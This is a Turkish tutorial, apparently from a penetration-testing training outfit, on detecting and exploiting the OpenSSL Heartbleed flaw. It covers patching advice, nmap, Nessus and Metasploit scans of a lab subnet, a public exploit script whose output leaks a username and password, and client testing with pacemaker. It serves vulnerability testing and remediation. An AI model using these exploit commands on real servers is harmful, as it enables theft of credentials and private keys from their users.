Nmap, Nessus, Metasploit Kullanarak OpenSSL Heartbleed Zafiyeti İstismarı

TLS’in heartbeat eklentisindeki bir programlama hatasından kaynaklanan sorun sayesinde internete açık zafiyet içeren OpenSSL sürümünü kullanan herhangi bir sistemin belleğindeki bilgiler 64 kbyte’lık bölümler halinde alınabilmektedir.

Açık, internet üzerinden herhangi yetki gerektirmeksizin tcp 443. porttan kurulan bağlantılar üzerinden(başka portlarda çalışan TLS destekli protokollerde dahil) şifrelemede kullanılan private key’lerin, kullanıcı adı ve şifrelerin, cookie’lerin ve benzer her türlü hassas verinin alınabilmesine olanak sağladığından dolayı, OpenSSL’in 1.0.1 – 1.0.1f arası sürümlerini kullanan sistemlerin bir an önce açığın bulunmasının hemen ardından yayınlanan OpenSSL 1.0.1g sürümüne terfi etmeleri, bu işlem yapılamıyorsa da mevcut OpenSSL’in “-DOPENSSL_NO_HEARTBEATS” parametresi ile yeniden derlenerek heartbeat özelliğini devre dışı bırakmaları önerilmektedir.
İlgili zafiyeti gideren güncelleme paketleri, CentOS, Debian ve FreeBSD paket depolarına eklendi. Bu nedenle ilgili sistemleri kullanıyorsanız acilen sistem update’i edilmelidir. Ayrıca, sistem güncellemesine kadar geçen süreç içerisinde SSL anahtarlarınızın alınıp alınmadığını bilemeyeceğiniz için mevcut anahtarların da revoke edilerek yenilerinin üretilmesi yerinde olacaktır.
Açıklıktan Etkilenen Sistemler
  • Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
  • Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
  • CentOS 6.5, OpenSSL 1.0.1e-15
  • Fedora 18, OpenSSL 1.0.1e-4
  • OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) ve 5.4 (OpenSSL 1.0.1c 10 May 2012)
  • FreeBSD 10.0 – OpenSSL 1.0.1e 11 Feb 2013
  • NetBSD 5.0.2 (OpenSSL 1.0.1e)
  • OpenSUSE 12.2 (OpenSSL 1.0.1c
  • Red Hat Enterprise Linux 6.5, Red Hat Enterprise Virtualization Hypervisor 6.5, and Red Hat Storage 2.1

Açıklığın ortaya çıkmasından sonra istismarı için bir takım istismar araçları yayınlandı. Bağımsız olarak geliştirilen exploit’lerin yanısıra Nessus, nmap, metasploit gibi en sık kullanılan güvenlik araçları da  açıklığı tespit tmek amaçlı kendilerini güncelleyerek gerekli script’leri kütüphanelerine eklediler.
İlk olarak nmap port tarama aracının yayınlamış olduğu script’i kullanarak yerel ağda açıklıktan etkilenen sistemlerin olup olmadığını kontrol edelim.



Nmap NSE Kullanarak HeartBleed Zafiyetini Tespit Etme



# nmap -p 443 –script ssl-heartbleed 6.6.6.0/24
Nmap scan report for 6.6.6.251
Host is up (0.0022s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|     Description:
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt
|_      http://cvedetails.com/cve/2014-0160/
Nmap scan report for 6.6.6.247
Host is up (0.0020s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|     Description:
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt
|_      http://cvedetails.com/cve/2014-0160/



Tablodaki port tarama sonuçlarına bakılacak olursa 6.6.6.0(6.6.6.0/24 ağı BGA’nın kullandığı sızma testi lab. sistemlerine aittir) alt ağında açıklıktan etkilenen 2 tane makinenin olduğu görülmektedir. 

Açıklığı istismar etmek için geliştirilmiş exploitler kullanılarak hedef sistem belleğindeki hassas verilere erişmek mümkün olacaktır.



Nessus ile ‘heartbleed’ Taraması Gerçekleştirme



Diğer bir zaafiyet tarama aracı olan Nessus, OpenSSL’de bulunan bu güvenlik açığı karşısında kendisini güncellemiştir. Nessus ile örnek bir heartbleed taraması aşağıdaki gibi yapılabilir.



Heartbleed taraması yapabilmek için, ilk olarak ‘Heartbleed Detection’ politikası oluşturulmalıdır.



Policy oluşturmaScreen Shot 2014-04-14 at 17.38.11.png

Oluşturulan bu politika kullanılarak tarama başlatılır.



Taramayı BaşlatmaScreen Shot 2014-04-14 at 17.39.53.png



Eğer hedef sistem açıklıktan etkilenmiş ise , nessus bu durumu tespit edecek ve aşağıdaki ekran görüntüsünde olduğu gibi rapor sunacaktır.


Screen Shot 2014-04-14 at 17.30.33.png

Metasploit ile Heartbleed Testi



En çok kullanılan güvenlik araçlarından biri olan Metasploit, OpenSSL’de bulunan bu güvenlik açığı karşısında ilgili güncellemeyi yaptı.Aşağıdaki örnekte Metasploit kullanarak hedef sistemin açıklıktan etkilenip etkilenmediği kontrol edilmiştir.

NOT:Metasploit ve Nessus sadece HTTPS değil diğer SSL kullanan portları da test edip tespit edebilmektedir.



msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
  Name        Current Setting  Required  Description
  —-        —————  ——–  ———–
  RHOSTS                       yes       The target address range or CIDR identifier
  RPORT       443              yes       The target port
  STARTTLS    None             yes       Protocol to use with STARTTLS, None to avoid    STARTTLS  (accepted: None, SMTP, IMAP, JABBER, POP3)
  THREADS     1                yes       The number of concurrent threads
  TLSVERSION  1.1              yes       TLS version to use (accepted: 1.0, 1.1, 1.2)
msf auxiliary(openssl_heartbleed) > set RHOSTS 6.6.6.251
RHOSTS => 6.6.6.251
msf auxiliary(openssl_heartbleed) > run
[+] 6.6.6.251:443 – Heartbeat response with leak
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Heartbleed İstismar Scripti



Açıklığı tespit ettikten sonra, istismar etmek için https://github.com/musalbas/heartbleed-masstest/blob/master/ssltest.py adresinde bulunan exploit kullanılabilir.Örnek bir uygulama aşağıdaki gibidir.



# python ssltest.py 6.6.6.251 -p 443
username=bg
0290: 65 6E 76 70 6E 26 70 61 73 73 77 6F 72 64 3D 50 alab&password=P
02a0: 64 62 37 34 63 70 38 63 6C 72 A9 4B 76 27 B9 A8 as12cp8bga.Kv’..
02b0: 9D 29 59 C4 54 4A 16 06 75 3B 00 00 00 00 00 00 .)Y.TJ..u;……
username: bgalab
pass: Pas12cp8bga



Pacemaker ile İstemci(Browser) Sistemlerin HeartBleed Testi
OpenSSL’de bulunan bu güvenlik açığı, sadece sunucu tarafını etkilemekle kalmayıp sunucu ile iletişime geçen istemcileride etkilemektedir. Böyle bir durumdan etkilenip etkilenmediğinizi https://github.com/Lekensteyn/pacemaker adresinde bulunan araç ile test edebilirsiniz.



Önce sunucuyu çalıştırın.
python pacemaker.py



Daha sonra istemci bilgisayar üzerinde https://localhost:4433/  adresine gidin.
curl https://localhost:4433/



İstemci bağlantı hatası verecektir.
curl: (35) Unknown SSL protocol error in connection to localhost:4433



Eğer açıklıktan etkilenmemiş iseniz sunucu çıktısı aşağıdaki gibi olacaktır.
root@kali:~/Desktop/pacemaker# python pacemaker.py
Listening on :4433 for tls clients
Connection from: 127.0.0.1:36725
Did not receive heartbeat response! [Errno 104] Connection reset by peer
Possibly not vulnerable



Eğer açıklıktan etkilenmiş iseniz sunucu çıktısı aşağıdaki gibi olacaktır.
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  …@….-..R4.m.
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@…~!…..`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  …~…3B?…0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  …………….
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  …………….
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ……..@…….
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  ………….@..

e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ….`_….~…3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?…0………..
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ……………



Eğer kendi sistemlerinizde bu testi gerçekleştirmek isterseniz aşağıdaki adımları izleyebilirsiniz.



İlk olarak pacemaker.py scriptini çalıştırın.
python pacemaker.py



Daha sonra yine  istemci bilgisayar üzerinden aşağıdaki komutu çalıştırın.
wget -O /dev/null https://google.com https://localhost:4433



Eğer açıklıktan etkilenmiş iseniz çalıştırılan pacemaker.py scripti aşağıdaki gibi bir çıktı verecektir.



Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  …@….-..R4.m.
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@…~!…..`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  …~…3B?…0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74  ……e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c  -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d  ; charset=UTF-8.

0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f  …….-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d  www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73  /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01  itory0…*.H….
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12  ……..v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2  .0………q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d  ..;…..N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f  ..U..j.6…Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38  …G..Zs….2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5  ..4………I…
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f  …6..Vo…sc…
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1  {>”.=.._8t…PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00  …a..?………
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  …………….
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ……..@…….

ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36  …..<…..ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32  46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00     00_B//………